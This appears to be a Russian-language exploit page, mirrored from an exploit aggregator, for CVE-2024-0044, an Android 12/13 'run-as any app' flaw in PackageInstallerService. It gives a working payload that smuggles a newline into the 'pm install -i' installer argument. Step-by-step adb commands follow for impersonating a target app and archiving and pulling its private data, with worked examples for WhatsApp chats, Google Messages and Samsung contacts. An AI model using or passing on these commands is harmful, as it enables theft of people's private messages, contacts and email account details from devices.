## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XBINDER-CVE-2024-0044
## CVE 2024 0044
CVE-2024-0044, обнаруженная в функции createSessionInternal файла PackageInstallerService.java, представляет собой уязвимость высокой степени серьезности, затрагивающую Android версий 12 и 13. Эта уязвимость позволяет атакующему выполнить атаку "run-as any app", что приводит к локальному повышению привилегий без взаимодействия с пользователем. Проблема возникает из-за неправильной проверки входных данных в функции createSessionInternal. Атакующий может воспользоваться этим, манипулируя процессом создания сессии, потенциально получая несанкционированный доступ к конфиденциальным данным и выполняя несанкционированные действия на затронутом устройстве.
Эксплойт был обнаружен Meta security
Подтверждение концепции было обобщено и опубликовано Tiny hack
Подробности об исправлении безопасности можно найти в бюллетене безопасности Android
## Предварительные требования
1. Включите отладку по USB на своем мобильном телефоне и подключите его к компьютеру с помощью USB-кабеля или беспроводной отладки.
2. Загрузите любой APK-файл на свой компьютер, вы можете использовать F-DROID.
## Как использовать инструмент
root@kitploit:~
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
`-P` используется для указания имени целевого пакета, от имени которого вы хотите запускаться.
`-A` для указания пути к APK-файлу, который нужно отправить на устройство.
## Эксплуатация
Запустите инструмент: `python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk`
Будет сгенерирован файл `payload.txt` следующего содержания:
root@kitploit:~
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
#### Инструмент автоматизирует некоторые части, а другие остаются ручными. Вы можете выйти после генерации полезной нагрузки и выполнить все команды вручную, или продолжить следовать инструкциям.
### Далее вам нужно подключиться к устройству с помощью adb shell, вставить полезную нагрузку и убедиться, что после последней команды вы получили сообщение `Success`.
root@kitploit:~
pl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
### Затем получаем данные WhatsApp с помощью следующих команд:
root@kitploit:~
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Создайте временную директорию: `mkdir /data/local/tmp/wa/`
Создайте файл-заполнитель для tar-архива: `touch /data/local/tmp/wa/wa.tar`
Установите широкие права доступа: `chmod -R 0777 /data/local/tmp/wa/`, чтобы любой пользователь мог читать, записывать и выполнять операции в этой директории.
Переключите контекст пользователя: `run-as victim`, чтобы получить те же разрешения, что и у пользователя "victim".
Заархивируйте данные целевого приложения: `tar -cf /data/local/tmp/wa/wa.tar com.whatsapp`, создав tar-архив директории данных WhatsApp.
### Наконец, извлеките данные:
`adb pull /data/local/tmp/wa/wa.tar`
Вы можете распаковать данные с помощью `7z` или любого другого инструмента.
Вы можете использовать Whatsapp chat exporter для преобразования в HTML.
Это позволяет получить данные WhatsApp без root-доступа на устройстве.
# Извлечение сообщений Google
Просто измените имя пакета следующим образом:
root@kitploit:~
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Downloads/F-Droid.apk
Следуйте приведенным выше инструкциям, а после извлечения файла `wa.tar` распакуйте его и откройте переписку в `com.google.android.apps.messaging/databases/bugle_db` с помощью sqlitebrowser или любого другого инструмента.
# Извлечение контактов
Протестировано на устройстве Samsung. Для других устройств проверьте имя пакета поставщика контактов.
root@kitploit:~
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Следуйте приведенным выше инструкциям, а после извлечения файла `wa.tar` распакуйте его и откройте контакты в `com.samsung.android.providers.contacts/databases/contacts2.db` с помощью sqlitebrowser или любого другого инструмента. Файл базы данных содержит информацию обо всех учетных записях электронной почты пользователя вместе со списком контактов.